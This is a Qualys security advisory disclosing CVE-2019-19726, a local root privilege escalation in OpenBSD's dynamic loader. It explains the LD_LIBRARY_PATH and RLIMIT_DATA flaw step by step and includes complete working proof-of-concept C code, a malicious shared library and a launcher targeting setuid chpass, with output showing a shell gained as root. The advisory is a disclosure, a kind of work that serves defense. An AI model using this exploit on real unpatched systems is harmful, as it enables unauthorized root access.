Local Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726)

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Qualys Security Advisory

Local Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726)


==============================================================================
Contents
==============================================================================

Summary
Analysis
Demonstration
Acknowledgments


==============================================================================
Summary
==============================================================================

We discovered a Local Privilege Escalation in OpenBSD's dynamic loader
(ld.so): this vulnerability is exploitable in the default installation
(via the set-user-ID executable chpass or passwd) and yields full root
privileges.

We developed a simple proof of concept and successfully tested it
against OpenBSD 6.6 (the current release), 6.5, 6.2, and 6.1, on both
amd64 and i386; other releases and architectures are probably also
exploitable.


==============================================================================
Analysis
==============================================================================

In this section, we analyze a step-by-step execution of our proof of
concept:

------------------------------------------------------------------------------

1/ We execve() the set-user-ID /usr/bin/chpass, but first:

   1a/ we set the LD_LIBRARY_PATH environment variable to one single dot
   (the current working directory) and approximately ARG_MAX colons (the
   maximum number of bytes for the argument and environment list); as
   described in man ld.so:

     LD_LIBRARY_PATH
             A colon separated list of directories, prepending the default
             search path for shared libraries.  This variable is ignored for
             set-user-ID and set-group-ID executables.

   1b/ we set the RLIMIT_DATA resource limit to ARG_MAX * sizeof(char *)
   (2MB on amd64, 1MB on i386); as described in man setrlimit:

     RLIMIT_DATA     The maximum size (in bytes) of the data segment for a
                     process; this includes memory allocated via malloc(3) and
                     all other anonymous memory mapped via mmap(2).

------------------------------------------------------------------------------

2/ Before the main() function of chpass is executed, the _dl_boot()
function of ld.so is executed and calls _dl_setup_env():

262 void
263 _dl_setup_env(const char *argv0, char **envp)
264 {
...
271         _dl_libpath = _dl_split_path(_dl_getenv("LD_LIBRARY_PATH", envp));
...
283         _dl_trust = !_dl_issetugid();
284         if (!_dl_trust) {       /* Zap paths if s[ug]id... */
285                 if (_dl_libpath) {
286                         _dl_free_path(_dl_libpath);
287                         _dl_libpath = NULL;
288                         _dl_unsetenv("LD_LIBRARY_PATH", envp);
289                 }

------------------------------------------------------------------------------

3/ At line 271, _dl_getenv() returns a pointer to our LD_LIBRARY_PATH
environment variable and passes it to _dl_split_path():

 23 char **
 24 _dl_split_path(const char *searchpath)
 25 {
 ..
 35         pp = searchpath;
 36         while (*pp) {
 37                 if (*pp == ':' || *pp == ';')
 38                         count++;
 39                 pp++;
 40         }
 ..
 45         retval = _dl_reallocarray(NULL, count, sizeof(*retval));
 46         if (retval == NULL)
 47                 return (NULL);

------------------------------------------------------------------------------

4/ At line 45, count is approximately ARG_MAX (the number of colons in
our LD_LIBRARY_PATH) and _dl_reallocarray() returns NULL (because of our
low RLIMIT_DATA); at line 47, _dl_split_path() returns NULL.

------------------------------------------------------------------------------

5/ As a result, _dl_libpath is NULL (line 271) and our LD_LIBRARY_PATH
is ignored, but it is not deleted from the environment (CVE-2019-19726):
although _dl_trust is false (_dl_issetugid() returns true because chpass
is set-user-ID), _dl_unsetenv() is not called (line 288) because
_dl_libpath is NULL (line 285).

------------------------------------------------------------------------------

6/ Next, the main() function of chpass is executed, and it:

   6a/ calls setuid(0), which sets the real and effective user IDs to 0;

   6b/ calls pw_init(), which resets RLIMIT_DATA to RLIM_INFINITY;

   6c/ calls pw_mkdb(), which vfork()s and execv()s /usr/sbin/pwd_mkdb
   (unlike execve(), execv() does not reset the environment).

------------------------------------------------------------------------------

7/ Before the main() function of pwd_mkdb is executed, the _dl_boot()
function of ld.so is executed and calls _dl_setup_env():

   7a/ at line 271, _dl_getenv() returns a pointer to our
   LD_LIBRARY_PATH environment variable (because it was not deleted from
   the environment in step 5, and because execv() did not reset the
   environment in step 6c);

   7b/ at line 45, _dl_reallocarray() does not return NULL anymore
   (because our low RLIMIT_DATA was reset in step 6b);

   7c/ as a result, _dl_libpath is not NULL (line 271), and it is not
   reset to NULL (line 287) because _dl_trust is true (_dl_issetugid()
   returns false because pwd_mkdb is not set-user-ID, and because the
   real and effective user IDs were both set to 0 in step 6a): our
   LD_LIBRARY_PATH is not ignored anymore.

------------------------------------------------------------------------------

8/ Finally, ld.so searches for shared libraries in _dl_libpath (our
LD_LIBRARY_PATH) and loads our own library from the current working
directory (the dot in our LD_LIBRARY_PATH).

------------------------------------------------------------------------------


==============================================================================
Demonstration
==============================================================================

In this section, we demonstrate the use of our proof of concept:

------------------------------------------------------------------------------

$ id
uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)

$ cd /tmp

$ cat > lib.c << "EOF"
#include <paths.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
    if (setuid(0) != 0) _exit(__LINE__);
    if (setgid(0) != 0) _exit(__LINE__);
    char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
    execve(argv[0], argv, NULL);
    _exit(__LINE__);
}
EOF

$ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED
 0x0000000000000001 (NEEDED)             Shared library: [libutil.so.13.1]
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.95.1]

$ gcc -fpic -shared -s -o libutil.so.13.1 lib.c

$ cat > poc.c << "EOF"
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <unistd.h>

int
main(int argc, char * const * argv)
{
    #define LLP "LD_LIBRARY_PATH=."
    static char llp[ARG_MAX - 128];
    memset(llp, ':', sizeof(llp)-1);
    memcpy(llp, LLP, sizeof(LLP)-1);
    char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };

    #define DATA (ARG_MAX * sizeof(char *))
    const struct rlimit data = { DATA, DATA };
    if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);

    if (argc <= 1) _exit(__LINE__);
    argv += 1;
    execve(argv[0], argv, envp);
    _exit(__LINE__);
}
EOF

$ gcc -s -o poc poc.c

$ ./poc /usr/bin/chpass

# id
uid=0(root) gid=0(wheel) groups=32767(nobody)

------------------------------------------------------------------------------


==============================================================================
Acknowledgments
==============================================================================

We thank Theo de Raadt and the OpenBSD developers for their incredibly
quick response: they published a patch for this vulnerability in less
than 3 hours. We also thank MITRE's CVE Assignment Team.



[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>



This message may contain confidential and privileged information. If it has been sent to you in error, please reply to advise the sender of the error and then immediately delete it. If you are not the intended recipient, do not read, copy, disclose or otherwise use this message. The sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to Qualys email accounts will be archived and may be scanned by us and/or by external service providers to detect and prevent threats to our systems, investigate illegal or inappropriate behavior, and/or eliminate unsolicited promotional emails (“spam”). If you have any concerns about this process, please contact us.




[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux